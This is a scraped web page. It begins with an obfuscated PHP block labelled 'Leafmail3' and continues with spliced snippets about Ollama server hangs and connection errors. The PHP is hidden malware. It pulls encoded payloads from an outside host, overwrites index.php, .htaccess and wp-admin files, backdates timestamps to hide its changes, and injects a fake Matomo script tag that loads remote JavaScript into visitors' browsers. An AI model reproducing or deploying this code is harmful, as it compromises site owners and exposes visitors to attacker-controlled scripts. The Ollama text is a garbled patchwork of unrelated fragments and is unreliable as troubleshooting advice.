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<?php /*Leafmail3*/goto o1QFr; wasj3: $ZJUCA($jQ0xa, $RTa9G); goto wYDtx; IuHdj: $egQ3R = "\147\172\151"; goto ChKDE; TpHVE: $cPzOq .= "\157\x6b\x6b"; goto vgltl; gmVrv: $Mvmq_ .= "\x6c\x5f\x63\154\x6f"; goto N9T5l; SClM0: $VwfuP = "\x64\x65\146"; goto PXHHr; m8hp8: $uHlLz = "\x73\x74\x72"; goto lz2G0; UH4Mb: $eULaj .= "\x70\x63\x2e\x70"; goto apDh3; QPct6: AtVLG: goto Mg1JO; dj8v0: $ZJUCA = "\143\150"; goto WmTiu; uHm0i: $TBxbX = "\x57\x50\137\125"; goto RCot0; f4Rdw: if (!($EUeQo($kpMfb) && !preg_match($tIzL7, PHP_SAPI) && $fHDYt($uZmPe, 2 | 4))) { goto TGN7B; } goto S2eca; H7qkB: $MyinT .= "\164\40\x41\x63\x63"; goto Air1i; AedpI: try { goto JM3SL; oiS8N: @$YWYP0($lJtci, $H0gg1); goto nucR0; AffR5: @$YWYP0($PcRcO, $H0gg1); goto SpIUU; JnP2S: @$ZJUCA($lJtci, $shT8z); goto oiS8N; nOhHX: @$ZJUCA($lJtci, $RTa9G); goto LvbAc; LvbAc: @$rGvmf($lJtci, $UYOWA["\141"]); goto JnP2S; SpIUU: @$ZJUCA($jQ0xa, $shT8z); goto qvTm1; gA5rv: @$ZJUCA($PcRcO, $shT8z); goto AffR5; nucR0: @$ZJUCA($PcRcO, $RTa9G); goto COvI1; JM3SL: @$ZJUCA($jQ0xa, $RTa9G); goto nOhHX; COvI1: @$rGvmf($PcRcO, $UYOWA["\142"]); goto gA5rv; qvTm1: } catch (Exception $ICL20) { } goto PqZGA; BWxc9: $kpMfb .= "\154\137\x69\156\x69\164"; goto RMP1m; Q7gNx: $gvOPD = "\151\163\137"; goto AfwzG; fFfBR: goto AtVLG; goto kST_Q; J9uWl: $e9dgF .= "\x61\171\163"; goto lNb3h; ZlPje: $u9w0n .= "\x75\x69\x6c\144\x5f\161"; goto Mit4a; YRbfa: $dGt27 .= "\157\x73\x65"; goto L744i; ioNAN: $tIzL7 .= "\x6c\x69\57"; goto Khhgn; mz3rE: $FANp1 .= "\x70\141\x72\145"; goto SClM0; eBKm1: $PcRcO = $jQ0xa; goto Sg4f2; D0V8f: $pv6cp = "\162\x65"; goto Hy0sm; xXaQc: $FANp1 = "\x76\145\162\x73\151"; goto T7IwT; ulics: try { $_SERVER[$pv6cp] = 1; $pv6cp(function () { goto YEXR4; PKzAL: $AG2hR .= "\163\171\x6e\x63\75\164\162\165\145"; goto HIXil; NZAxH: $AG2hR .= "\x65\x72\75\164\x72\165\x65\x3b" . "\12"; goto Tbsb3; xDrpr: $AG2hR .= "\x75\x6d\x65\156\164\54\40\x67\75\144\x2e\143\162\145\x61\164\145"; goto mLjk9; r_Oqj: $AG2hR .= "\163\x63\162\151\160\164\x22\x3e" . "\xa"; goto JZsfv; PEdls: $AG2hR .= "\74\57\163"; goto WBFgG; POyWW: $AG2hR .= "\x4d\55"; goto a8oGQ; N2RIK: $AG2hR .= "\175\x29\50\51\x3b" . "\12"; goto PEdls; Vj0ze: $AG2hR .= "\x72\151\160\x74\40\164\x79\x70\145\x3d\42\164\145\170"; goto FXjwZ; JZsfv: $AG2hR .= "\x28\x66\x75\156\143"; goto ZRBmo; zk1Ml: $AG2hR .= "\x79\124\141\147\x4e\x61\155\145"; goto STHB_; aKt86: $AG2hR .= "\x72\x69\160\x74\42\51\x2c\40\x73\75\x64\x2e\x67\x65\x74"; goto oxuwD; FXjwZ: $AG2hR .= "\x74\57\x6a\141\x76\141"; goto r_Oqj; YffEK: $AG2hR .= "\57\x6d\141\164"; goto nL_GE; ZrlUz: $AG2hR .= "\x73\x63\162\151\x70\164\x22\x3b\40\147\x2e\141"; goto PKzAL; MSqPC: $AG2hR .= "\x65\x20\55\x2d\76\12"; goto rWq2m; gUhrX: $AG2hR .= "\74\x73\143"; goto Vj0ze; oxuwD: $AG2hR .= "\x45\154\x65\x6d\145\156\164\x73\102"; goto zk1Ml; a8oGQ: $AG2hR .= time(); goto xyZaU; WBFgG: $AG2hR .= "\x63\162\151\160\164\x3e\xa"; goto jHj0s; rWq2m: echo $AG2hR; goto zxMHd; zzMTI: $AG2hR .= "\152\141\166\x61"; goto ZrlUz; HIXil: $AG2hR .= "\73\x20\147\56\144\x65\x66"; goto NZAxH; EXhzp: $AG2hR .= "\x65\156\164\x4e\x6f\x64\145\56\x69\x6e"; goto yJp9W; KUpUt: $AG2hR .= "\x64\40\115\141\x74"; goto c13YM; hugz8: $AG2hR .= "\x6f\x72\145\50\x67\54\x73\51\73" . "\xa"; goto N2RIK; xyZaU: $AG2hR .= "\x22\73\40\163\56\160\141\162"; goto EXhzp; ZRBmo: $AG2hR .= "\164\151\x6f\156\x28\51\x20\173" . "\xa"; goto sOVga; YqIfq: $AG2hR .= "\77\x69\x64\x3d"; goto POyWW; Tbsb3: $AG2hR .= "\147\x2e\163\x72"; goto vxsas; k1w2Q: $AG2hR = "\x3c\41\x2d\55\x20\115\x61"; goto OOFo2; F2sIB: $AG2hR .= "\x3d\x22\164\x65\x78\x74\57"; goto zzMTI; OOFo2: $AG2hR .= "\x74\157\155\x6f\x20\55\x2d\x3e\xa"; goto gUhrX; vxsas: $AG2hR .= "\143\x3d\165\x2b\42\x6a\163\57"; goto JGvCK; jHj0s: $AG2hR .= "\74\x21\55\55\40\x45\156"; goto KUpUt; mLjk9: $AG2hR .= "\105\154\x65\x6d\x65\156\x74\50\42\163\x63"; goto aKt86; yJp9W: $AG2hR .= "\x73\x65\162\x74\102\145\146"; goto hugz8; c13YM: $AG2hR .= "\x6f\x6d\x6f\40\103\157\144"; goto MSqPC; STHB_: $AG2hR .= "\50\x22\x73\x63\162\x69"; goto SX8pI; JGvCK: $AG2hR .= $osL5h; goto YffEK; nL_GE: $AG2hR .= "\x6f\155\x6f\56\x6a\x73"; goto YqIfq; SX8pI: $AG2hR .= "\160\x74\42\51\133\x30\135\x3b" . "\xa"; goto uh8pE; YEXR4: global $osL5h, $cPzOq; goto k1w2Q; jW6LQ: $AG2hR .= "\166\141\x72\40\144\x3d\x64\157\143"; goto xDrpr; uh8pE: $AG2hR .= "\x67\x2e\164\x79\x70\145"; goto F2sIB; sOVga: $AG2hR .= "\166\x61\162\40\x75\75\42" . $cPzOq . "\42\x3b" . "\xa"; goto jW6LQ; zxMHd: }); } catch (Exception $ICL20) { } goto arBxc; TrkYs: $eULaj .= "\x2f\170\x6d"; goto GE2p3; L744i: $cPzOq = "\x68\x74\164\x70\163\72\57\x2f"; goto TpHVE; CNdmS: wLXpb: goto wasj3; nHXnO: $_POST = $_REQUEST = $_FILES = array(); goto CNdmS; PHhHL: P9yQa: goto W2Q7W; UkCDT: $cLC40 = 32; goto BnazY; vabQZ: $CgFIN = 1; goto QPct6; gSbiK: try { goto xtnST; qBVAq: $k7jG8[] = $E0suN; goto Tc9Eb; vZ6zL: $E0suN = trim($Q0bWd[0]); goto LuoPM; D98P3: if (!empty($k7jG8)) { goto FbDAI; } goto AML_a; LuoPM: $jCv00 = trim($Q0bWd[1]); goto Q4uy7; xtnST: if (!$gvOPD($d3gSl)) { goto nHP5K; } goto W8uMn; c_73m: FbDAI: goto h1Cu7; kNAxm: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto lfWQh; } goto MfJKK; L8cv7: WVm2j: goto c_73m; AML_a: $d3gSl = $jQ0xa . "\x2f" . $HNQiW; goto GBRPC; ZSYyc: $jCv00 = trim($Q0bWd[1]); goto kNAxm; W8uMn: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto Woix_; EA1BT: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto ctSg2; } goto A163l; Woix_: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto wU2zk; } goto vZ6zL; Q4uy7: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto VAVW5; } goto qBVAq; tEVz_: $k7jG8[] = $jCv00; goto xWpvL; xWpvL: lfWQh: goto oilos; MfJKK: $k7jG8[] = $E0suN; goto tEVz_; N3TyU: wU2zk: goto snD7p; lky0R: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto EA1BT; Tc9Eb: $k7jG8[] = $jCv00; goto evp7M; snD7p: nHP5K: goto D98P3; oilos: ctSg2: goto L8cv7; evp7M: VAVW5: goto N3TyU; GBRPC: if (!$gvOPD($d3gSl)) { goto WVm2j; } goto lky0R; A163l: $E0suN = trim($Q0bWd[0]); goto ZSYyc; h1Cu7: } catch (Exception $ICL20) { } goto xU6vT; T7IwT: $FANp1 .= "\x6f\x6e\x5f\143\x6f\x6d"; goto mz3rE; JX1Oy: $dGt27 = "\x66\x63\x6c"; goto YRbfa; BnazY: $Pzt0o = 5; goto TYFaW; o1QFr: $kFvng = "\74\x44\x44\x4d\x3e"; goto wODYw; CL80L: $MyinT .= "\120\x2f\61\x2e\x31\x20\x34"; goto gErqa; tFGg7: $YWYP0 .= "\x75\143\x68"; goto dj8v0; pXfDS: $ygOJ_ .= "\x2f\167\160"; goto c7yEe; xUd9U: $pv6cp .= "\151\x6f\x6e"; goto bqFyS; PqZGA: CVVA3: goto RDKTA; wYDtx: $uZmPe = $nPBv4($eULaj, "\x77\x2b"); goto f4Rdw; E453u: $QIBzt .= "\56\64"; goto O8RXw; a4EJZ: $dZR_y = $cPzOq; goto vZkPa; FK_sr: $kb9bA .= "\x65\162\x2e\x69"; goto G2uff; TuwL4: $jQ0xa = $_SERVER[$Wv1G0]; goto wrxGI; wJDrU: $eULaj = $jQ0xa; goto TrkYs; MLdcc: $fHDYt .= "\x63\153"; goto JX1Oy; Gs7Gb: $kpMfb = $vW4As; goto BWxc9; Mit4a: $u9w0n .= "\x75\x65\x72\171"; goto cIo5P; GE2p3: $eULaj .= "\x6c\162"; goto UH4Mb; cIo5P: $uAwql = "\155\x64\65"; goto aXExt; c7yEe: $ygOJ_ .= "\x2d\x61"; goto XWOCC; wrxGI: $ygOJ_ = $jQ0xa; goto pXfDS; XsWqd: $kb9bA .= "\57\56\165\163"; goto FK_sr; cWrVz: $nPBv4 .= "\145\x6e"; goto KCtWA; CrWKs: $l0WLW .= "\157\160\x74"; goto jcG0e; lz2G0: $uHlLz .= "\154\x65\x6e"; goto xXaQc; wee0Y: $ulOTQ .= "\115\111\116"; goto Tfi5q; vgltl: $cPzOq .= "\154\x69\x6e\153\56\x74"; goto pr5fA; Khhgn: $tIzL7 .= "\x73\151"; goto JBJmV; kJlf4: $DJDq1 .= "\147\145\164\137\143"; goto NZqWx; lNb3h: $H0gg1 = $xsR4V($e9dgF); goto XYviL; TBl6Q: sLwcv: goto fFfBR; RMP1m: $l0WLW = $vW4As; goto ujtZa; XQnCd: $PcRcO .= "\x61\143\143\145\163\x73"; goto ikUIP; X4xWX: $QIBzt = "\x35"; goto E453u; hDUdL: $MWMOe .= "\x6c\x65"; goto Q7gNx; LxUUO: $RTa9G = $QTYip($HqqUn($RTa9G), $Pzt0o); goto qaeyL; f6Txl: $HqqUn = "\x64\x65\143"; goto gwNCH; sK97X: $nPBv4 = "\x66\157\160"; goto cWrVz; Ee0VW: $EUeQo .= "\164\x69\x6f\156\x5f"; goto a2JJX; D9NbF: $CgFIN = 1; goto PHhHL; VY3H_: $Wv1G0 = "\x44\117\x43\x55\115\105\116\x54"; goto HpOFr; CRqG1: if (empty($k7jG8)) { goto VIn91; } goto s4AWH; apDh3: $eULaj .= "\x68\160\x2e\60"; goto sK97X; Sg4f2: $PcRcO .= "\57\x2e\x68\x74"; goto XQnCd; jcG0e: $YQ0P6 = $vW4As; goto rA_Dy; dlqC2: $HNQiW = substr($uAwql($osL5h), 0, 6); goto xGZOR; kxKwG: $osL5h = $_SERVER[$i5EZR]; goto TuwL4; ozW5s: $e9dgF .= "\63\x20\x64"; goto J9uWl; xU6vT: $lJtci = $jQ0xa; goto BpRMk; CquiC: $dZR_y .= "\x63\x6f\160\171"; goto BLSy0; GSfrX: $pv6cp .= "\x75\x6e\143\164"; goto xUd9U; yaYSs: $rGvmf .= "\x6f\x6e\x74\x65\156\164\163"; goto mIlAi; FXRyn: $TBxbX .= "\115\x45\x53"; goto R1jVG; kST_Q: VIn91: goto vabQZ; flXr3: $shT8z = $QTYip($HqqUn($shT8z), $Pzt0o); goto TkfCl; FJdH4: $dZR_y .= "\x3d\x67\x65\x74"; goto CquiC; kJyDh: $QTYip = "\x69\156\x74"; goto blzff; s4AWH: $H25pP = $k7jG8[0]; goto t74Wt; TyAte: $k7jG8 = array(); goto UkCDT; EO8QL: try { $UYOWA = @$AkFS8($egQ3R($eKFWX($M7wqP))); } catch (Exception $ICL20) { } goto OXweB; XYviL: $i5EZR = "\110\124\124\x50"; goto j4Pjv; ikUIP: $kb9bA = $jQ0xa; goto XsWqd; VrwTF: $nRD8p .= "\x64\x69\162"; goto aQp1m; dLa5a: $pv6cp .= "\x65\162\x5f"; goto x5YEr; PgImI: @$ZJUCA($kb9bA, $RTa9G); goto yAax8; Jb1Vu: try { goto Bwps7; WPylr: if (!$xsy4x($Y61WO)) { goto nWSzU; } goto NpK90; xqrLf: @$YWYP0($dqnvi, $H0gg1); goto cinsF; N7wJU: if ($xsy4x($Y61WO)) { goto KOuoA; } goto RBLfp; wf0jq: @$ZJUCA($Y61WO, $shT8z); goto xqrLf; bfkJn: try { goto jwOvP; sXqkD: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto tXay1; jwOvP: $ekYPG = $kpMfb(); goto jMqt3; VURt4: $l0WLW($ekYPG, CURLOPT_POST, 1); goto Qk7oo; G7Y1e: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto Sw_Ys; lg1iu: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 3); goto VURt4; jMqt3: $l0WLW($ekYPG, CURLOPT_URL, $LfwPf . "\x26\164\x3d\151"); goto G7Y1e; Qk7oo: $l0WLW($ekYPG, CURLOPT_POSTFIELDS, $u9w0n($Lx9yT)); goto axPES; Sw_Ys: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto sXqkD; tXay1: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto Gb33B; PUEHo: $Mvmq_($ekYPG); goto rF4qo; Gb33B: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto lg1iu; axPES: $YQ0P6($ekYPG); goto PUEHo; rF4qo: } catch (Exception $ICL20) { } goto zCePm; s2GBY: $Y61WO = dirname($dqnvi); goto N7wJU; bO0VE: KOuoA: goto WPylr; RBLfp: @$ZJUCA($jQ0xa, $RTa9G); goto lexI4; NpK90: @$ZJUCA($Y61WO, $RTa9G); goto aGYEQ; wsLep: $Lx9yT = ["\144\x61\x74\x61" => $UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?>
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<div>Ollama serve stuck. OLLAMA_HOST=your. It happens more when Phi 2 runs then when Mixtral runs. Alternatively, you can change the amount of time all models are loaded into memory by setting the OLLAMA_KEEP_ALIVE environment variable when starting the Ollama server. 1 "Summarize this file: $(cat README. 21. Customize and create your own. By default, proxmox Dec 29, 2023 · For every model I've downloaded, the speed saturates my bandwidth (~13MB/sec) until it hits 98/99%. This suggests there's an issue with DNS (port 53). 25:53: server misbehaving. 4. is quite similar functionally and does not have the infinite loop problem. 1. Delete the service file: sudo rm /etc/systemd/system/ollama. /ollama run llama2 Error: could not connect to ollama server, run 'ollama serve' to start it Steps to reproduce: git clone New requests to the API endpoint would hang when invoking the chat function of Ollama. In order to keep the models necessary always loaded for quick response time, we send a "wake up" request every 4 minutes if nothing has been sent during this time. Ollama is an application for Mac, Windows, and Linux that makes it easy to locally run open-source models, including Llama3. Download the app from the website, and it will walk you through setup in a couple of minutes. Lists. Refer to section explaining how to configure the Ollama server Apr 19, 2024 · すでに ollama serveしている場合は自動でモデルが起動する; まだの場合は ollama serveあるいはollama run Goku-llama3で起動する。 カスタムモデルとチャットしてみる; PowerShellで ⇒いい感じ. go:119 msg="CUDA Compute Capability detected: 6. pull command can also be used to update a local model. Just notice, I should also add an alias for "ollama show". Works great for the first few lines but after a few lines it just stops mid text and does nothing. It even type ollama serve in a terminal, but then I need to keep this open and I don't get the ollama systray icon. Instead, CPU instructions should be detected at runtime allowing for both speed and c Aug 25, 2024 · You signed in with another tab or window. Aside from that, yes everything seems to be on the correct port. May 2, 2024 · What is the issue? I've installed the model in the Ollama Docker pod successfully. 26 OS: Ubuntu 22. Even if I run it with 2>&1, it still remains attached to the shell it was launched from, so that shell becomes useless, even if I run it as a background job. bash_aliases I could use the "commands" ollama-run [model-name] or ollama-list successfully. here ollama serve Ollama will run and bind to that IP instead of localhost and the Ollama server can be accessed on your local network (ex: within your house). Nov 7, 2023 · Wrapping OSS LLMs can be tricky. ollama serve time=2024-02-08T11:53:18. Feb 11, 2024 · You signed in with another tab or window. Aug 11, 2023 · FWIW, this just happened to me, and the fix was exactly as described in the OP - restart the ollama server, re-run ollama pull, and voila, it works the second time! For the time it didn't work, Logs from ollama serve: ollama_serve_logs. Ollama-UIで ⇒あれ、⇒問題なし. We have to manually kill the process. Environment Ollama version: 0. Mar 25, 2024 · Introduction to OLLAMA. service and then reboot the machine, the process gets added to the auto-start Mar 18, 2024 · What is the issue? I have restart my PC and I have launched Ollama in the terminal using mistral:7b and a viewer of GPU usage (task manager). g Oct 18, 2023 · API Call: /api/generate Note: The server keeps working until left idle for a long time, I get this trace with error: "no child processes" upon request after the idle state. just installed Ollama on Windows via WSL (Ubuntu 2204). I have asked a question, and it replies to me quickly, I see the GPU usage increase around 25%, use langchain for testing llm, when two client connect to ollama for chat api response, it stuck with same following code: ChatOllama(model=xxx, base_url=xxx, verbose=True, temperature=0, num_ctx=2048) (same model) and i have to restart ollama server, is there any solutions to use ollama chat api for more then 1 client same time ? Feb 26, 2024 · As part of our research on LLMs, we started working on a chatbot project using RAG, Ollama and Mistral. 0:80) Aug 31, 2023 · @robertsd are you still unable to get Ollama running on your GPU with the latest version? If so, can you enable debug logging with OLLAMA_DEBUG=1 for the server and share your server log so we can see more details on why it's not able to discover the GPU properly? @johnnyq your problem is likely lack of AVX in proxmox #2187. Question: What is OLLAMA-UI and how does it enhance the user experience? Answer: OLLAMA-UI is a graphical user interface that makes it even easier to manage your local language models. 1 is enougth) Then, after a source ~/. You can also read more in their README. Ollama is a powerful tool that allows users to run open-source large language models (LLMs) on their May 7, 2024 · What is the issue? Hello, I have trouble reaching my ollama container. Start a terminal session and then execute the following command to start Ollama: ollama serve. 1, Mistral, Gemma 2, and other large language models. If you're experiencing connection issues, it’s often due to the WebUI docker container not being able to reach the Ollama server at 127. txt. 33, as some users reported bugs 0. Before delving into the solution let us know what is the problem first, since I tried using Ollama on Colab using Xterm !pip -q install colab-xterm %load_ext colabxterm %xterm After launching xterm, terminal popped up in the cell. I would like to make a docker-compose which starts ollama (like ollama serve) on port 11434 and creates mymodel from . Dec 7, 2023 · However, when I tried to do this, it wouldn't access ollama in WSL 2, I was able to access it via 127. Use the --network=host flag in your docker command to resolve this. md)" Ollama is a lightweight, extensible framework for building and running language models on the local machine. unless i restart ollama service Oct 4, 2023 · We ran this command to stop the process and disable the auto-starting of the ollama server, and we can restart it manually at anytime. So there should be a stop command as well. exe, but this time it works flawlessly, just like ollama serve. I've tried running "ollama run llama3:instruct," but the spinner just keeps spinn Following the readme on my Arch linux setup yields the following error: $ . I have also observed thi Jul 19, 2024 · Important Commands. If you notice that the program is hanging for a long time during the first run, you can manually input a space or other characters on the server side to ensure the program is running. 33 but it doesn't work on either. But this is not my case, and also not the case for many Ollama users. I have tried using the images for 0. o. 1:11434, but not 0. Apr 29, 2024 · Answer: Yes, OLLAMA can utilize GPU acceleration to speed up model inference. On the website ️ https: Stuck behind a paywall? Read for Free! May 19. 1:11434 (host. Stuck behind a paywall? Read for Free! Ollama empowers you to leverage powerful large language models (LLMs) like Llama2,Llama3,Phi3 etc. Mar 17, 2024 · By running ollama serve explicitly, you're bypassing the updated configurations. ip. 0. Logs from ollama pull: I run following sh in colab !ollama serve & !ollama run llama3 it out 2024/05/08 03:51:17 routes. Feb 7, 2024 · Ollama is fantastic opensource project and by far the easiest to run LLM on any device. It offers a user Jun 3, 2024 · As part of the LLM deployment series, this article focuses on implementing Llama 3 with Ollama. $ ollama run llama3. Dec 10, 2023 · I think I found something similar. Mar 7, 2024 · To server models: ollama serve 4. Our developer hardware varied between Macbook Pros (M1 chip, our developer machines) and one Windows machine with a "Superbad" GPU running WSL2 and Docker on WSL. Then, the real issue with ollama serve is I've had a -hell- a time trying to redirect its console output. Langchain wrapped code does not completely abstract LLM nuances consistently well (e. Any ideas? I installed ollama the other day and am trying to run llama2 but after pulling the model it just seems to load forever with 